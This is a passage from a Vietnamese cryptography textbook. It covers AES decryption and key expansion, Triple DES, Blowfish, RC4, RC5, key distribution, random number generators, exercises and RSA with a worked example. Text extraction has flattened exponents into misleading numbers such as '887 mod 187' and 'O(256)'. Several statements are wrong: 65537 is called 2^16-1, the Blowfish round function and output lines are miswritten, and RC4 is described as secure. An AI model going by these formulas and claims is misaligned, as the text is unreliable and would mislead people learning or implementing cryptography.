AddRoundKey(state,w[i*Nb],(i+1)*Nb-1);
Y:=state;
Thuật toán sinh khoá con sử dụng ba hàm:
SubWord(): Là một hàm đưa 4 từ đầu vào qua S-box để được 4 từ đầu ra
RotWord(): Biến đổi một từ [a0a1a2a3] thành một từ [a1a2a3a0]
Rcon(i): Chứa các giá trị [xi-1,{00},{00},{00}] với x={02} và i>=1.
Trường hợp Nk=8 (độ dài khoá =256) và i-4 là bội số của Nk thì SubWord() được tính
toán với w[i-1] trứơc khi XOR
Thuật toán:
 - 66 -
INPUT: Khoá đầu vào K, Nk
OUTPUT: Mảng khoá con
TIẾN TRÌNH XỬ LÝ:
• Tách khoá K thành Nk khối 4 byte w[i] i=0..Nk-1
i:=Nk;
while (i<Nb*(Nr+1)) loop
temp:=w[i-1];
if (i mod Nk = 0);
temp = SubWord(RotWord(temp)) xor Rcon[i/Nk];
else if (Nk > 6 and i mod Nk = 4);
temp = SubWord(temp);
end if;
w[i] = w[i-Nk] xor temp;
i = i + 1;
end loop;
Thuật toán giải mã sử dụng 4 biến đổi trong đó có 1 biến đổi AddRoundKey và 3 biến
đổi đảo ngược.
Biến đổi InvShiftRows(): tương tự biến đổi ShiftRows thay vì dịch trái thì trong biến đổi
này là dịch phải.
Bứơc InvSubBytes(): Phép biến đổi này tương tự như SubBytes() thay vì dùng S-box thì
sử dụng InvS-box .
Bứơc InvMixColums(): Tương tự như phép MixColums thay vì a XOR với c(x) thì là a-1
XOR c(x).
Thuật toán giải mã
INPUT: M 128 bit, w[Nb*(Nr+1)] --- w là mảng khoá , M là bản mã
OUTPUT: Y 128 bit -- Khối dữ liệu đã được giải mã
TIẾN TRÌNH XỬ LÝ:
state = M
AddRoundKey(state, w[Nr*Nb, (Nr+1)*Nb-1])
for round = Nr-1 step -1 downto 1
InvShiftRows(state)
InvSubBytes(state)
AddRoundKey(state, w[round*Nb, (round+1)*Nb-1])
InvMixColumns(state)
end for
InvShiftRows(state)
InvSubBytes(state)
AddRoundKey(state, w[0, Nb-1])
Y = state.

IV.4 Các mã đối xứng đương thời

IV.4.1 Triple DES

Mã DES nhiều lần
• Rõ ràng DES cần được thay thế, vì
o Các tấn công về mặt lý thuyết có thể bẻ gãy nó
 - 67 -
o Tấn công khoá toàn diện đã được trình diễn
• AES là mã mới thay thế
• Trước nó người ta đã sử dụng lặp DES, tức là sử dụng nhiều lần cùng một thuật toán,
nhưng có thể với khóa khác nhau.
• Triple DES là dạng đã được chọn, ở đây lặp DES 3 lần.
• Tại sao lại là Triple DES
o Mà không phải là lặp hai lần Double DES: khi lặp hai lần không hoàn toàn là
trùng với 1 lần DES nào đó nhưng cũng có thể.
o Có thể dùng 2 lần DES trên một block với hai khoá K1 và K2 :
C = EK2(EK1(P))
o Vấn đề là có thể rút gọn về một bước không.
o Double DES gặp tấn công ở mức trung gian
 Gặp nói chung khi sử dụng một mã nào đó 2 lần như trên
 Vì X = EK1[P] = DK2[C]

 Tấn công bằng cách mã P với mọi khoá và lưu lại.

 Và giải mã C với các khoá và sánh trùng nhau để tìm X.

 Có thể chỉ ra rằng cần O(256) bước dò tìm.



• Triple DES với 2 khoá

o Để tránh tấn công ở mức trung gian, cần sử dụng 3 mã, vậy nói chung có thể
dùng 3 khoá khác nhau.
o Nhưng để đơn giản hơn có thể sử dụng 2 khoá theo trình tự:E–D-E, tức là mã,
giải mã, rồi lại mã.
 C = EK1[DK2[EK1[P]]]

 Về mặt an toàn mã và giải mã tương đương nhau
 Nếu K1 = K2 thì tương đương làm việc với một lần DES
 Chuẩn hoá trong ANSI X9.17 & ISO8732

 Chưa thấy tấn công thực tế.

• Triple DES với 3 khoá

o Mặc dù chưa có tấn công thực tế, nhưng Triple DES với 2 khoá có một số chỉ
định để tránh rơi vào một số trường hợp đặc biệt.
o Cần phải sử dụng 3 lần DES với 3 khoá để tránh điều đó
C = EK3[DK2[EK1[P]]]

o Được chấp nhận bởi một số ứng dụng trên Internet: PGP, S/MIME
 - 68 -

IV.4.2 Blowfish
• Mã đối xứng được thiết kế bởi Shneier khoảng 1993-1994.
• Mã có các đặc trưng sau:
o Cài đặt nhanh trên CPU 32 bit
o Dùng ít bộ nhớ.
o Cấu trúc đơn giản, dễ cài đặt và phân tích.
o Độ an toàn thay đổi theo độ dài của khoá
• Được cài đặt trên nhiều sản phẩm khác nhau
• Lược đồ khoá con của Blowfish
o Dùng khoá có độ dài bit linh hoạt từ 32 đến 448.
o Sử dụng khoá để sinh
 18 khoá con 32 bit lưu trữ trong mảng K: KJ
 Bốn S box cỡ 8 x 32 lưu trong Si, j
o Lược đồ khoá gồm
 Khởi tạo P mảng và sau đó là 4 hộp S box
 XOR P mảng với bit khoá (sử dụng lại nếu cần)
 Lặp lại việc mã dữ liệu sử dụng P & S hiện thời và thay cặp thành
công P sau đó S.
 Đòi hỏi 512 khoá, nên chậm khi lấy khoá con mới
o Mã Blowfish
 Sử dụng 2 phép cơ bản cộng và XOR
 Dữ liệu được chia thành 2 nửa mỗi nửa 32 bit L0 & R0
for i = 1 to 16 do
Ri = Li-1 XOR Pi;
Li = F[Ri] XOR Ri-1;
L17 = R16 XOR P18;
R17 = L16 XOR i17;

trong đó
F[a,b,c,d] = ((S1,a + S2,b) XOR S3,c) + S4,a

o Bàn luận:
 Khoá con và S box phụ thuộc vào khoá sinh ra, sử dụng vào chính mã
nên việc phân tích rất khó
 Thay đổi hai nửa sau mỗi vòng làm tăng độ an toàn
 Khoá được cấp đủ lớn để việc tìm duyệt khoá là không thực tế, đặc
biệt khi tập trung vào lược đồ tạo khoá con.

IV.4.3 RC4
RC4 là mã đăng ký bản quyền của RSADSI, được thiết kế bởi Ronald Rivest. RC4 đơn
giản, nhưng hiệu quả, có nhiều cỡ khoá và là mã bit dòng.
 - 69 -
Mã được sử dụng rộng rãi (Web SSL/TLS, không dây WEP). Khoá thực hiện hoán vị
ngẫu nhiên cả 8 giá trị bit. Sử dụng hoán vị đó để khuấy thông tin đầu vào được xử lý
từng byte.
Sinh khoá RC4
o Bắt đầu từ mảng S với biên độ: 0..255
o Sử dụng khoá để xáo trộn đều thực sự.
o S tạo trạng thái trong của mã.
Mã RC4
o Mã tiếp tục trộn các giá trị của mảng.
o Tổng của các cặp trộn chọn giá trị khoá dòng từ hoán vị
o XOR S[t] với byte tiếp theo của bản tin để mã/giải mã
i=j=0
for each message byte Mi
i = (i + 1) (mod 256)
j = (j + S[i]) (mod 256)
swap(S[i], S[j])
t = (S[i] + S[j]) (mod 256)
Ci = Mi XOR S[t]
Tổng quan RC4

An toàn RC4
o Đảm bảo an toàn chống các tấn công
o Có một số thám mã, nhưng không thực tế
 - 70 -
o Kết quả rất phi tuyến
o Vì RC4 là mã dòng nên không được sử dụng lại khoá.
o Có liên quan đến WEP, nhưng tùy thuộc quản lý khoá hơn là bản thân RC4.

IV.4.4 RC5
RC5 cũng là mã đăng ký bản quyền của RSADSI, được thiết kế bởi Ronald Rivest và
được sử dụng trong nhiều sản phẩm của RSADSI. RC5 có nhiều cỡ khoá và dữ liệu khác
nhau và đặc biệt không có vòng lặp. Thiết kế rất đơn giản và rõ ràng. RC5 được cài đặt
dễ dàng trên nhiều CPU và còn được đánh giá là an toàn.
• Các mã RC5
o RC5 là một họ các mã với bat ham số RC5-w/r/b
 w là kích thước của từ (16/32/64), sô bit data = 2w
 r là số vòng (0..255)
 b là số byte của khoá (0..255)

o Phiên bản chuẩn là RC5-32/12/16

 Tức là 32 bit word, mã khối 64 bit dữ liệu

 Sử dụng 12 vòng
 Với 16 byte (128 bit) khoá
o Mở rộng khoá RC5
 RC5 sử dụng 2r + 2 từ khoá con (w-bit)
 Các khoá con lưu trong mảng R[i], i = 0,1,.., t-1
 Sau đó lược đồ sinh khoá gồm
- Khởi tạo S là giá trị giả ngẫu nhiên cố định, dựa trên hằng sô e
và phi.
- Khoá byte được sao vào mảng c-word L
- Phép trộn sẽ kết hợp L và S thành mảng S cuối cùng
• Mã RC5
o Tách đầu vào thành 2 nửa A và B
L0 = A + S[0];
R0 = B + S[1];
for i = 1 to r do
Li = ((Li-1 XOR Ri-1) <<< Ri-1) + S[2 x i];
Ri = ((Ri-1 XOR Li) <<< Li) + S[2 x i + 1];

o Mỗi vòng giống như 1 vòng 2 DES

o Quay là nguồn phi tuyến chính
o Cần số vòng chấp nhận được (12-16)
• Các chế độ mã RC5
o RFC2040 xác định 4 chế độ của RC5
 Mã khối RC5, tức là chế độ ECB
 RC5-CBC
 - 71 -
 RC5-CBC-PAD là chế độ với bộ đệm bằng các byte có giá trị bằng số
byte đệm.
 RC5-CTS, một kiểu của CBC, cùng kích thước với bản tin gốc.

IV.4.5 Các đặc trưng của mã khối và mã dòng.

1. Các đặc trưng mã khối. Các đặc trưng trong mã khối hiện đại là
o Độ dài khoá / kích thước khối / số vòng có thể thay đổi
o Các phép toán trộn, quay phụ thuộc khoá hoặc dữ liệu.
o S box phụ thuộc khoá
o Tạo khoá con phức tạp hơn
o Phép toán với đầy đủ dữ liệu ở mỗi vòng.
o Biến thiên hàm phi tuyến.
2. Các đặc trưng mã dòng.
o Xử lý mẩu tin lần lượt theo từng bit.
o Thông thường có khoá dòng (giả) ngẫu nhiên.
o Kết hợp XOR với bản rõ theo từng bit
o Ngẫu nhiên với khoá dòng sẽ xoá bỏ hoàn toàn các phân tích thống kê của
mẩu tin
Ci = Mi XOR StreamKeyi

o Rất đơn giản

o Nhưng khoá không được sử dụng lại
3. Các tính chất của mã dòng trong khi thiết kế
a. Sử dụng lâu không bị lặp
b. Ngẫu nhiên thống kê
c. Phụ thuộc khoá đủ lớn
d. Độ phức tạp tuyến tính lớn
e. Rối loạn
f. Khuếch tán
g. Sử dụng hàm Boole phi tuyến bậc cao

IV.5 Bảo mật dùng khoá đối xứng

IV.5.1 Yêu cầu
Mã đối xứng truyền thống được dùng để giữ bí mật bản tin
• Xét kịch bản tiêu biểu
o Các máy trạm ở một mạng LAN truy cập vào các máy trạm và máy chủ ở một
mạng LAN khác
o Các mạng được kết nối sử dụng chuyển mạch và đường truyền
(switches/routers)
o Với các đường truyền vật lý hoặc liên kết vô tuyến/vệ tinh
• Xét việc tấn công và cách đặt mã trong kịch bản trên
o Điều tra từ một máy trạm khác
o Sử dụng kết nối đến mạng hoặc máy chủ đề tìm kiếm
o Sử dụng kết nối ngoài để xâm nhập và điều tra
 - 72 -
o Theo dõi và/hoặc làm thay đổi việc truyền kết nối ngoài.
Có hai phương pháp chính xác định chỗ đặt mã
• Mã kết nối (Link Encription)
o Mã xảy ra độc lập trên mỗi kết nối.
o Suy ra cần phải giải mã truyền tin giữa các kết nối
o Đòi hỏi nhiều thiết bị và các cặp khoá
• Mã đầu cuối (End to end Encription) AES là mã mới thay thế
o Mã xảy ra giữa điểm gốc và điểm đích
o Cần thiết bị tại mỗi đầu cuối và khoá chia sẻ
IV.5.2 Thám mã thông tin truyền
Khi dùng mã đầu cuối cần phải để thông tin đầu của nó rõ ràng, vì như vậy mạng mới
định hướng đúng đắn thông tin. Vì vậy tuy nội dung tin được bảo vệ, nhưng khuôn dòng
tin truyền thì không. Tốt nhất là muốn bí mật cả hai. Mã đầu cuối bảo vệ thông tin nội
dung trên cả đường truyền và cung cấp danh tính. Còn mã kết nối bảo vệ luồng truyền
khỏi việc theo dõi.
• Vị trí mã
Có thể đặt mã ở nhiều tầng khác nhau trong mô hình Hệ thống truyền thông mở OSI
o Mã kết nối thực hiện ở tầng 1 hoặc 2.
o Mã đầu cuối có thể thực hiện ở tầng 3, 4, 6, 7
o Dịch chuyển đến tầng càng cao, càng ít thông tin được mã hoá, nhưng càng an
toàn hơn do người sử dụng giữ bí mật đuợc khoá, tuy nhiên phức tạp hơn với
nhiều đối tượng và khoá hơn.

• Thám mã thông tin truyền

Thám mã là theo dõi dòng thông tin truyền giữa hai đối tác:
o Được dùng cả trong quân sự và thương mại
o Có thể được dùng để tạo kênh giám sát
o Mã kết nối che lấp chi tiết đầu tin, nhưng xét trên toàn mạng và ở các đầu cuối
nó vẫn nhìn thấy được
Bộ đệm truyền có thể che được dòng tin, nhưng với phải truyền liên tục với tần suất
truyền hầu như không đổi theo thời gian.

IV.5.3 Phân phối khoá

Sơ đồ đối xứng đòi hỏi cả hai đối tác chia sẻ khoá bí mật chung. Vấn đề đặt ra là làm sao
phân phối khoá mật này như thế nào. Thông thường các hệ mật thường bị sập vì bị bẻ
khoá trong sơ đồ phân phối khoá.
Đối với hai đối tác A và B cho trước có một số cách phân phối khoá khác nhau:
2. A lựa chọn khoá và truyền tay cho B
3. Đối tác thứ ba có thể chọn khoá và phân phối cho A và B
4. A và B trao đổi trước có thể dùng khoá trước để mã khoá mới
5. A và B trao đổi mật với đối tác thứ 3 là C, C chuyển tiếp giữa A và B
 - 73 -

Kịch bản phân phối khoá

Phân loại khoá

Thông thường khoá phân loại như sau:
• Khoá phiên (section key):
o Khoá tạm thời.
o Dùng để mã hoá dữ liệu giữa nhóm người sử dụng.
o Cho một phiên logic và sau đó bỏ đi.
• Khoá chính (master key):
o Dùng để mã các khoá phiên.
o Chia sẻ giữa người sử dụng và trung tâm phân phối khoá.
Vấn đề phân phối khoá
Đối với mạng lớn đòi hỏi phân cấp Trung tâm phân phối khoá KDC, nhưng cần phải tạo
tin cậy cho nhau, giữa người sử dụng với Trung tâm và các Trung tâm với nhau. Thời
gian sống của khoá bộ phận cần được hạn chế để cho an toàn hơn. Sử dụng phân phối
khoá tự động thay mặt người dùng, nhưng phải có hệ thống tin cậy, các khoá cấp phát
được sinh ra càng ngẫu nhiên càng tốt. Cần phải có hệ thống phân phối khoá phân tán và
phân cấp. Đồng thời cần hỗ trợ kiểm soát mục đích sử dụng khoá.

IV.5.4. Các số ngẫu nhiên

Có nhiều ứng dụng của số ngẫu nhiên trong lý thuyết mã. Chẳng hạn, khoá xác thực dùng
trong các thủ tục xác thực chống trì hoãn hoặc khoá phiên, khoá dòng cho bộ đệm một
lần. Do đó cần có cơ chế sinh khoá công khai
Trong nhiều trường hợp đặc biệt các giá trị này cần phải
o Ngẫu nhiên về mặt thống kê, có phân phối đều, độc lập.
o Không đoán trước được các giá trị tiếp theo nếu dựa vào các giá trị trước đó.
Sinh số ngẫu nhiên tự nhiên:
Nguồn cung cấp tốt nhất là ngẫu nhiên tự nhiên trong thế giới thực. Thường người ta tìm
một sự kiện gì đó thường gặp nhưng ngẫu nhiên. Nói chung cần phải bằng cách nào đó
thực hiện được, chẳng hạn: sóng radio, âm radio, nhiệt trong diot,…Bắt đầu quan sát cái
gì xảy ra trong CPU mới. Ta gặp vấn đề thiên lệch và phân bố không đều của các tín
hiệu, do đó phải điều chỉnh:
 - 74 -
o Cần phải bù đắp lại khi tạo mẫu và sử dụng.
o Tốt nhất chỉ sử dụng một số bit ồn nhất trong mỗi mẫu.

Nguồn số ngẫu nhiên đã đăng

Có một số ít sưu tầm về số ngẫu nhiên đã đăng. Rand Co trong năm 1955 đã in hơn 1
triệu số ngẫu nhiên. Được sinh bằng cách sử dụng bánh quay số điện tử. Đã được sử dụng
trong thiết kế một số mã như Khafre. Trước đó 1927, Tippet đã in một bộ sưu tập các số
ngẫu nhiên. Vấn đề là ở chỗ:
o Số lượng hạn chế các số ngẫu nhiên
o Đã được biết và sử dụng trong nhiều ứng dụng

Bộ sinh số giả ngẫu nhiên (PRNG)

Dùng kỹ thuật thuật toán xác định để tạo số ngẫu nhiên. Mặc dù không ngẫu nhiên thật,
nhưng phải nhiều phép thử để kiểm tra đảm bảo “tính ngẫu nhiên”. Các số như vật được
biết đến như những số giả ngẫu nhiên. Có các bộ sinh số giả ngẫu nhiên PRNG.

Bộ sinh đồng dạng tuyến tính

Mong muốn sinh một dãy số ngẫu nhiên. Lấy ba số a, c, m và một số đầu tiên của dãy.
Kỹ thuật lặp chung được sử dụng là tạo số tiếp theo dựa vào số trước đó:
Xn+1 = (aXn + c) mod m
Cho trước các số và tham số phù hợp có thể sinh ra dãy số tựa ngẫu nhiên khá dài.
Tiêu chuẩn phù hợp cần có là
o Hàm sinh ra giá trị lấp đầy chu kỳ
o Dãy sinh ra phải ngẫu nhiên
o Cài đặt hiệu quả với số học 32 bit
o Lưu ý rằng kẻ thám mã phải khôi phục lại dãy nếu cho trước một số ít các giá
trị

Sử dụng mã khối như bộ sinh số giả ngẫu nhiên

Có thể sử dụng mã khối để sinh số giả ngẫu nhiên. Sử dụng chế độ đếm
Xi = EKm[i]

Sử dụng chế độ đầu ra phản hồi

Xi = EKm[Xi-1]

Trong ANSI X9.17 PRNG: sử dụng thời gian, ngày tháng và một số thông tin mồi và mã
3 DES để sinh mồi mới và số ngẫu nhiên.

Bộ sinh Blum Blum Shub

Dựa vào thuật toán mã khoá công khai. Sử dụng bit ít quan trọng nhất từ đẳng thức sau:
xi+1 = xi2 mod n
trong đó n=p.q, và các số nguyên tố p, q=3 mod 4. Ở đây đảm bảo tính chất:
không đoán trước được bit tiếp theo. Tính an toàn dựa trên độ khó của bài toán phân tích
N ra thừa số. Không đoán trước được nếu cho chạy truớc một số lần các bít. Tuy nhiên
 - 75 -
chậm, vì phải dùng các số rất lớn. Đặc biệt rất chậm cho việc mã hoá, nên chỉ dùng cho
việc sinh khoá.

Bài tập
1. Viết hai dãy số sinh bởi các phương trình sau:
Xn+1 = (6Xn ) mod 13
Xn+1 = (7Xn ) mod 13
Chứng tỏ cả hai dãy trên đều có chu kỳ đầy đủ. Dãy nào tỏ ra có vẻ ngẫu nhiên hơn.

2. Hãy viết các dãy số theo phương trình sau :

xi+1 = xi2 mod 21
và
xi+1 = xi2 mod 33
Có nhận xét gì về tính ngẫu nhiên của chúng.

3. Lập sơ đồ khối mã hoá DES. Nêu các đặc trưng của DES.

4. Lập sơ đồ khối mã hoá AES. Nêu các đặc trưng của AES.

5. Mô tả sơ đồ dùng bên thứ ba phân phối khoá mật giữa hai người sử dụng. Nêu các ưu
nhược điểm của sơ đồ đó.

6. Có thể dùng khoá mật để tạo nên chữ ký điện tử được không, nghĩa là có một dấu
hiệu gì đó mà chỉ có người gửi thực hiện được gắn với nội dung của bản tin. Người
nhận đọc được bản tin và có thể kiểm tra để tin tưởng rằng người gửi đã viết nội dung
bản tin đó.
7. Mô tả các đặc trưng mã khối, chuẩn mã DES, chuẩn mã nâng cao AES.
 - 76 -
CHƯƠNG 5:
MÃ CÔNG KHAI VÀ QUẢN LÝ KHOÁ
V.1 Mã khoá công khai

Mã khoá riêng
Mã khoá riêng còn được gọi là mã khoá đơn hay mật. Ở đây chỉ dùng một khoá, dùng
chung cả người nhận và người gửi. Khi khoá này được dùng, việc trao đổi thông tin về
khoá sẽ được thỏa thuận trước.
Người ta còn gọi đây là mã đối xứng, vì hai đối tác có vai trò như nhau. Do đó không bảo
vệ người gửi khỏi việc người nhận giả mạo mẩu tin và tuyên bố là nó được gửi bằng
người gửi. Nghĩa là khi hai người dùng mã đối xứng, thì họ giữ được bí mật nội dung trao
đổi, nhưng bản thân mẩu tin không mang thông tin xác thực được người gửi.

V.1.1 Mã khoá công khai

Khoá công khai ra đời vào đầu những năm 1970. Có thể nói đây là bước tiến quan trọng
nhất trong lịch sử 3000 năm mã hoá. Ở đây người ta sử dụng 2 khoá: một khoá riêng và
một khoá công khai. Hai khoá này khác nhau, không đối xứng với nhau, do đó mã khoá
công khai, còn được gọi là mã không đối xứng. Người ta đã ứng dụng một cách thông
minh các kết quả của lý thuyết số về hàm số.
Khoá công khai ra đời hỗ trợ thêm để giải quyết một số bài toán an toàn, chứ không phải
thay thế khoá riêng. Cả hai khoá cùng tồn tại, phát triển và bổ sung cho nhau.
Khoá công khai/hai khoá/không đối xừng bao gồm việc sử dụng 2 khoá:
o Khoá công khai, mà mọi người đều biết, được dùng để mã hoá mẩu tin và
kiểm chứng chữ ký.
o Khoá riêng, chỉ người nhận biết, đề giải mã bản tin hoặc để tạo chữ ký.
o Là không đối xứng vì những người mã hoá và kiểm chứng chữ ký không thể
giải mã hoặc tạo chữ ký.
 - 77 -

Sơ đồ mã khoá công khai

V.1.2 Tại sao lại phải dùng mã khoá công khai

Người ta muốn giải quyết hai vấn đề sau về khoá nảy sinh trong thực tế:
o Phân phối khoá - làm sao có thể phân phối khóa an toàn mà không cần trung
tâm phân phối khoá tin cậy
o Chữ ký điện tử - làm sao có thể kiểm chứng được rằng mẩu tin gửi đến
nguyên vẹn từ đúng người đứng tên gửi.
Nếu chỉ dùng khoá đối xứng, thì không có giải pháp cho hai bài toán trên. Mã khoá công
khai được phát minh trước công chúng bởi hai nhà bác học Whitfield Diffie & Martin
Hellman ở trường Đại học Stanford vào năm 1976.
Tuy nhiên khái niệm ban đầu về nó đã được biết đến sớm hơn bởi cộng đồng các nhà
khoa học.
V.1. 3 Các đặc trưng của khoá công khai
Các thuật toán khoá công khai dùng 2 khoá với các đặc trưng sau:
o Không có khả năng tính toán để tìm khoá giải mã nếu chỉ biết thuật toán mã
và khoá dùng để mã.
o Có thể dễ dàng mã hoá hoặc giải mã mẩu tin nếu biết khoá tương ứng
o Trong một số sơ đồ: một khoá bất kỳ trong hai khoá có thể dùng để mã, còn
khoá kia dùng để giải mã. Chúng có vai trò đối ngược nhau.
 - 78 -

V.1.4 Ứng dụng khoá công khai

Có thể phân loại các ứng dụng của khoá công khai thành 3 loại khác nhau:
o Mã/giải mã – cung cấp bảo mật. Đây là ứng dụng bảo mật truyền thống giống
như ta vẫn thường dùng với khoá đối xứng.
o Chữ ký điện tử - cung cấp xác thực. Một trong các ứng dụng mới của khoá
công khai mà khoá đối xứng không thể thực hiện được, đó là khoá công khai
có đủ cơ sở để xác nhận người gửi và có thể là một lựa chọn để tạo chữ ký
điện tử của người gửi.
Một số thuật toán mã công khai phù hợp với mọi ứng dụng, còn một số khác chuyên
dùng cho ứng dụng cụ thể.

V.1.5 Tính an toàn của các sơ đồ khoá công khai

Cũng giống như khoá riêng việc tìm kiếm vét cạn luôn luôn có thể, tức là khi biết một
trong hai khoá và thuật toán mã hoá về nguyên tắc ta có thể dò tìm khoá thứ hai bằng
cách tính toán các giá trị liên quan. Nói chung khối lượng cần tính toán là rất lớn do độ
phức tạp của bài toán xác định khoá. Nếu khoá sử dụng là rất lớn cỡ hơn 512 bit, thì hầu
như bài toán tìm khoá thứ hai là không khả thi, không thể thực hiện được trong thời gian
có nghĩa, cho dù nguồn lực có thể rất lớn.
Tính an toàn dựa trên sự khác biệt đủ lớn giữa các bài toán dễ là mã/giải mã khi biết khoá
và bài toán khó là thám mã khi không biết khoá tương ứng. Vì bài toán thám mã nằm
trong lớp các bài toán khó tổng quát hơn đã được biết đến và về mặt lý thuyết đã được
chứng minh là nó rất khó có thể thực hiện trên thực tế. Bởi vì nó đòi hỏi sử dụng số rất
lớn, nên số phép toán cần thực hiện là rất nhiều. Đây là ý tưởng chính để tạo nên một mã
công khai. Ta tìm kiếm các bài toán mà nếu biết thông tin mật nào đó được che dấu thì nó
rất dễ thực hiện, còn nếu không thì nó thuộc lớp bài toán rất khó giải, hầu như không thể
giải trên thực tế.
Mã công khai thường chậm hơn khá nhiều so với mã đối xứng, nên nó thường được dùng
mã những thông tin nhỏ quan trọng.

V.2 RSA
RSA là mã công khai được sáng tạo bởi Rivest, Shamir & Adleman ở MIT (Trường Đại
học Công nghệ Massachusetts) vào năm 1977. RSA
là mã công khai được biết đến nhiều nhất và sử dụng rộng rãi nhất hiện nay. Nó dựa trên
các phép toán lũy thừa trong trường hữu hạn các số nguyên theo modulo nguyên tố. Cụ
thể, mã hoá hay giải mã là các phép toán luỹ thừa theo modulo số rất lớn. Việc thám mã,
tức là tìm khoá riêng khi biết khoá công khai, dựa trên bài toán khó là phân tích một số
rất lớn đó ra thừa số nguyên tố. Nếu không có thông tin gì, thì ta phải lần lượt kiểm tra
tính chia hết của số đó cho tất cả các số nguyên tố nhỏ hơn căn của nó. Đây là việc làm
không khả thi.
Người ta chứng minh được rằng, phép lũy thừa cần O((log n)3) phép toán, nên có thể
coi lũy thừa là bài toán dễ.
Cần chú ý rằng ở đây ta sử dụng
 - 79 -
các số rất lớn khoảng 1024 bit, tức là cỡ 10350. Tính an toàn dựa vào độ khó của bài toán
phân tích ra thừa số các số lớn. Bài toán phân tích ra thừa số yêu cầu O(e log n log log
n) phép toán, đây là bài toán khó.

V.2.1 Khởi tạo khoá RSA

• Mỗi người sử dụng tạo một cặp khoá công khai – riêng như sau:
• Chọn ngẫu nhiên 2 số nguyên tố lớn p và q
• Tính số làm modulo của hệ thống: N = p.q
o Ta đã biết ФN)=(p-1)(q-1)

o Và có thể dùng Định lý Trung Hoa để giảm bớt tính toán

• Chọn ngẫu nhiên khoá mã e

o Trong đó 1<e< ФN), gcd(e,Ф(N))=1

• Giải phương trình sau để tìm khoá giải mã d sao cho

o e.d=1 mod Ф(N) với 0≤d≤ Ф(N)

• In khoá mã công khai KU={e,N}

• Giữ khoá riêng bí mật KR={d,p,q}

V.2.2 Sử dụng RSA

• Để mã hoá mẩu tin, người gủi:
o lấy khoá công khai của người nhận KU={e,N}

o Tính C=Me mod N, trong đó 0≤M<N

• Để giải mã hoá bản mã, người sở hữu nhận:

o Sử dụng khóa riêng KR={d,p,q}

o Tính M=Cd mod N

• Lưu ý rằng bản tin M < N, do đó khi cần chia khối bản rõ.
Cơ sở của RSA
• Theo Định lý Ole
o aФ(n)mod N = 1 trong đó gcd(a,N)=1
o Ta có N=p.q
o Ф(N)=(p-1)(q-1)
 - 80 -

o e.d=1 mod Ф(N)

o e.d=1+k.Ф(N) đối với một giá trị k nào đó.

Suy ra
o Cd = (Me)d = M1+k.Ф(N) = M1.(MФ(N))k suy ra
o Cd
modN = M1.(1)k modN = M1 modN = M modN

Ví dụ
1. Chọn các số nguyên tố: p=17 & q=11.
2. Tính n = pq, n = 17×11=187
3. Tính Ф(n)=(p–1)(q-1)=16×10=160
4. Chọn e : gcd(e,160)=1; Lấy e=7
5. Xác định d: de=1 mod 160 và d < 160
Giá trị cần tìm là d=23, vì 23×7=161= 10×160+1
6. In khoá công khai KU={7,187}
7. Giữ khoá riêng bí mật KR={23,17,11}

Ví dụ áp dụng mã RSA trên như sau:

• Cho mẩu tin M = 88 (vậy 88<187)
• Mã C = 887 mod 187 = 11
• Giải mã M = 1123 mod 187 = 88
• Có thể dùng định lý phần dư Trung Hoa để giải mã cho nhanh như sau:
a. Tính 1123 mod 11 = 0
b. Tính 1123mod 17 = (-6)23 mod 17 = (-6)16(-6)4 (-6)2 (-6) mod 17 = 3
Vì (-6)2 mod 17 = 2, nên (-6)4 mod 17 = 4, (-6)8 mod 17 = -1
(-6)16 mod 17 = 1
c. 11-1 mod 17 = (-6)-1 mod 17 = 14 nên c2 = 11(11-1 mod 17) = 11 (14 mod 17)
= 154
d. Vậy M = (3.154) mod 187 = 462 mod 187 = 88
V.2.3 Lũy thừa
Trong các bài toán mã hoá công khai, chúng ta sử dụng nhiều phép toán lũy thừa với số
mũ lớn. Như vậy cần có thuật toán nhanh hiệu quả đối với phép toán này. Trước hết ta
phân tích số mũ theo cơ số 2, xét biểu diễn nhị phân của số mũ, sau đó sử dụng thuật toán
bình phương và nhân. Khái niệm được dựa trên phép lặp cơ sở bình phương và nhân để
nhận đựơc kết quả mong muốn. Độ phức tạp của thuật toán là O(log2 n) phép nhân đối
với số mũ n.

Ví dụ:
75 = 74.71 = 3.7 = 10 mod 11
vì 72 = 7.7 = 49 = 5 mod 11
 - 81 -
74 = 72.72 = 5.5 = 3 mod 11

3129 = 3128.31 = 5.3 = 4 mod 11

•
Phân tích số mũ theo cơ số 2
Trước hết ta chuyển số mũ từ cơ số 10 sang cơ số 2: (11)10 = (1011)2. Sau đó tính toán
như sau:
M11 = M1.2^3 + 0.2^2+ 1.2^1 + 1.2^0
= (M1.2^2 + 0.2^1+ 1.2^0 )2M
= (M1.2^1 + 0.2^0)2M)2M
= ((M2)2 M)2M
Thuật toán lũy thừa
Giả sử b1b2…bk là biểu diễn cơ số 2 của c.
Tính ac mod n

Trong thuật toán trên giá trị của c chỉ dùng để kiểm tra số mũ của lũy thừa. Còn d chính
là giá trị lũy thừa cần tính và a là cơ số của luỹ thừa.

V.2.4 Mã hiệu quả:

Mã sử dụng lũy thừa của khoá công khai e, nếu giá trị của e nhỏ thì tính toán sẽ nhanh,
nhưng dễ bị tấn công. Thường chọn e nhỏ hơn hoặc bằng 65537 (216-1), tức là độ dài
khoá công khai là 16 bit. Chẳng hạn trong ví dụ trên ta có thể lựa chọn e = 23 hoặc e = 7.
Ta có thể tính mã hoá nhanh, nếu biết n=pq và sử dụng Định lý phần dư Trung Hoa với
mẩu tin M theo các Modulo p và q khác nhau. Nếu khoá công khai e cố định thì cần tin
tưởng rằng khi chọn n ta luôn có gcd(e,Ф(n)) = 1. Loại bỏ mọi p, q mà làm cho Ф(n)
không nguyên tố cùng nhau với e.

V.2.5 Giải mã hiệu quả:

Có thể sử dụng Định lý phần dư Trung Hoa để tính theo mod p và q, sau đó kết hợp lại
để tìm ra bản rõ. Vì ở đây người sử dụng khoá riêng biết được p và q, do đó có thể sử
dụng kỹ thuật này. Nếu sử dụng định lý phần dư Trung Hoa để giải mã thì hiệu quả là
nhanh gấp 4 lần so với giải mã tính trực tiếp.

V.2.6 Sinh khoá RSA

 - 82 -
Người sử dụng RSA cần phải xác định ngẫu nhiên 2 số nguyên tố rất lớn, thông thường
khoảng 512 bit. Do đó việc sinh ra ngẫu nhiên p, q và kiểm tra xác suất tính nguyên tố
của chúng có nhiều giải pháp khác nhau với độ tin cậy cao. Sau khi chọn được một khoá
e hoặc d nguyên tố cùng nhau với Ф(n), dễ dàng tính được khoá kia chính là số nghịch
đảo của nó qua thuật toán Euclide mở rộng.
V.2.7 An toàn của RSA
